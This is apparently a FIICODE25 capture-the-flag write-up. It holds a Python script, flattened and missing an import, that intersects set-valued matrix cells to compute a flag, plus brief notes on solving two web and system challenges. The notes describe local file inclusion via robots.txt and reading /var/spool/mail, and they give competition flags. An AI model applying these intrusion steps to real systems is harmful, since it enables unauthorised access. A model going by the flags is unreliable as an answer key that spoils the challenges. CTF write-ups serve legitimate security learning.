from tempfile import NamedTemporaryFile
import os
import sys
IN_FILE = Path("matrici.txt")
OUT_FILE = Path("result.txt")
def parse_cell(token: str) -> set[int]:
if token == "{}":
return set()
return {int(x) for x in token.strip("{}").split(",") if x}
def format_cell(s: set[int]) -> str:
return "{}" if not s else "{" + ",".join(map(str, sorted(s))) + "}"
def next_nonblank(handle):
for line in handle:
if line.strip():
return line
return None
def main() -> None:
if not IN_FILE.exists():
sys.exit(f"{IN_FILE} not found.")
with IN_FILE.open(encoding="utf-8") as fin, \
NamedTemporaryFile("w+", delete=False, encoding="utf-8") as tmp:
for line in fin:
if not line.strip():
break
tmp.write(line)
tmp.flush()
tmp.seek(0)
with OUT_FILE.open("w", encoding="utf-8") as fout:
total = 0
row = 0
lineB = next_nonblank(fin)
while lineB is not None:
lineA = next_nonblank(tmp)
if lineA is None:
sys.exit("Matrix dimensions mismatch: A ended first.")
cellsA = lineA.rstrip().split()
cellsB = lineB.rstrip().split()
if len(cellsA) != len(cellsB):
sys.exit(
f"Row {row + 1}: different lengths "
f"({len(cellsA)} vs {len(cellsB)})"
)
out_cells = []
for a, b in zip(cellsA, cellsB):
inter = parse_cell(a) & parse_cell(b)
total += sum(inter)
out_cells.append(format_cell(inter))
fout.write(" ".join(out_cells) + "\n")
row += 1
lineB = next_nonblank(fin)
print(f"Flag: FIICODE25{{{total}}}")
os.unlink(tmp.name)
if __name__ == "__main__":
main()
Open matrici.txt
; copy non-blank lines into the temp file until \n\n
, then rewind. Iterate: read next non-blank row from both sources, split()
each, abort on unequal cell counts, compute parse_cell(tokA) & parse_cell(tokB)
for every column, total += sum(inter)
, and write " ".join(format_cell(inter))
to the output. Continue until both streams EOF
simultaneously, then print FIICODE25{total}
and unlink the temp file. The flag is:
FIICODE25{15281803420608617}
Robo-Sapiens
Summary
Route /robots.txt
→ LFI on route /flagul.php
for the password in /admin.php
.
Step by step
Flag: FIICODE25{R0b0S4pi3ns_ar3_c00l}
Unread Mail
Summary
List directory from /var/spool/mail
from the prompt hint and read the file located in /var/spool/mail/flag.txt
.
Step by step
The flag is:
FIICODE25{t00l_f4n_f0r_l1f3}